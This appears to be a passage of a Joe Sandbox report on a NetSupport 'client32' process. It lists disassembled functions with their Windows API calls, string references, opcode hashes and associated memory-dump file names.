Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction ID: 36b54363b319bb335bc5da0d0e9bdd0405b18079b131e91390d3ecc07929186c
Opcode Fuzzy Hash: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction Fuzzy Hash: DCF05E78A15328EFD709CFF5D88482EB7A9AF08208700447DF629D3205E631EE009F50

Function 1110F720 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111F0908,59FD48C0,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F754
EnterCriticalSection.KERNEL32(111F0908,59FD48C0,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F770
LeaveCriticalSection.KERNEL32(111F0908,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F7B8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction ID: 724175da6b3b5eb63f60f43096b8b9410b0df93e13cce3f4766159a849acac97
Opcode Fuzzy Hash: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction Fuzzy Hash: 3D11C675A0061AAFE700CF65CD85B5BF7A9FB88714F010129E829E3340F7359808CB92

Function 11068950 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11068A12

Strings

??CTL32.DLL, xrefs: 110689D3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction ID: 38d720fc7c26638894156a2f8924bac31edb6b50614c34829f37a9a02c5b1e22
Opcode Fuzzy Hash: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction Fuzzy Hash: 5831F5B2A04781DFE711CF59DC40B5AF7E8FB45724F0482AAE92897380E735A900CB92

Function 11026B40 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 11026B6D

Strings

?:\, xrefs: 11026B62

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction ID: c0198090b602517e4922a9d0df48f1c050a77905515f879100581957a4b6d58d
Opcode Fuzzy Hash: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction Fuzzy Hash: 64F09065C083DA2AEB23DE608844596BFE84B463A8F5488D9DCE887541D165E1C58791

Function 110ED1A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED160: RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED1BC

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d Opening regkey %s, xrefs: 110ED1CA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction ID: 33cf1931661e2960d377c619dd89904b97ea319b13ae6f8f8dcb9591a9c6775e
Opcode Fuzzy Hash: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction Fuzzy Hash: 60E0927A6012187FD210961B9C89F9BBB2DDB856A4F000069FD1487201C972EC1082B0

Function 110ED160 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d closing regkey %x, xrefs: 110ED17D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction ID: 72b2cf3cdd4b8fd577e25b07e2838f9a8e734d144b1f96517ba84771a8eadcbb
Opcode Fuzzy Hash: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction Fuzzy Hash: 4EE08679A022126BD3289A1EAC18F5BB6E8DFC4300F1604ADF850C3240DA70D8018664

Function 111463D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102DE54,11026580,02FBB818,?,?,?,00000100,?,?,00000009), ref: 111463E9

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

NSMTRACE, xrefs: 111463E4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction ID: cf49eb18fee32400038a48a9d82a087192b912de878353ac6c822cd252c7dc11
Opcode Fuzzy Hash: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction Fuzzy Hash: 50D05EB520033BCFDB489F7995B4269F7EAAB4CA1D3540075E469C2A07EBB0D848C714

Function 11025CD0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,110302C4), ref: 11025CD8

Strings

psapi.dll, xrefs: 11025CD1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction ID: d2f0b82a95d6fc878682dccaf19b7a180456f678ee46f3fe844c8dbdc6f5fb44
Opcode Fuzzy Hash: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction Fuzzy Hash: C9E001B1A11B248FC3B4CF3AA844642FAF0BB18A103118A3ED4AEC3A00E330A5448F80

Function 11014F80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102EF80,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 11014F8E

Strings

nslsp.dll, xrefs: 11014F83

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction ID: 60eb6736f29bf142f24d4cfcc231741db50fe0cc1946b431100be770a733e412
Opcode Fuzzy Hash: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction Fuzzy Hash: E7C092B17152388FE3685F7CAC085D2FAE4EB48A91351986EE4B5D3308E6B09C40CFE4

Function 11074DC0 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11074E1F
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,11194245,?), ref: 11074E89

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction ID: 144a06a128bfe4de4bcaa8ee3b5ec3a734aa963de7831f9780c3e5d6e94517af
Opcode Fuzzy Hash: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction Fuzzy Hash: 6E218376D04228A7D710DA99EC41FEFFBACEB44325F4045AAE909D7200D7315A55CBE1

Function 1105FCF0 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1105FD93
__CxxThrowException@8.LIBCMT ref: 1105FDA8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 008f8e93dd07e0136ec59ea579b5f73905d9fad81b76f295f420d5e427868693
Instruction ID: 65be3d9b06008521879bde957bfb15225efad016ffb254945ac63f30ffb56918
Opcode Fuzzy Hash: 008f8e93dd07e0136ec59ea579b5f73905d9fad81b76f295f420d5e427868693
Instruction Fuzzy Hash: F5117FBA900619ABC710CF99C940ADAF7F8FB48614F10862EE91997740E774B900CBE1

Function 1105EC90 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105ECD6
_memmove.LIBCMT ref: 1105ECE1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 122672bb5393e061907174e6af5f55016b939f4fec596e378902c676719b8fee
Instruction ID: db33143030e4a9298ca15ccbefe9b49d771c33472961b073c023ff9ae0ea679a
Opcode Fuzzy Hash: 122672bb5393e061907174e6af5f55016b939f4fec596e378902c676719b8fee
Instruction Fuzzy Hash: 98F0F47AE002666F9741CF2C9844896FBDCDF8A158314C4A2E999CB301D671EC0687E0

Function 110883D0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110883EF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070993,00000000,00000000,1118201E,000000FF), ref: 11088460

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

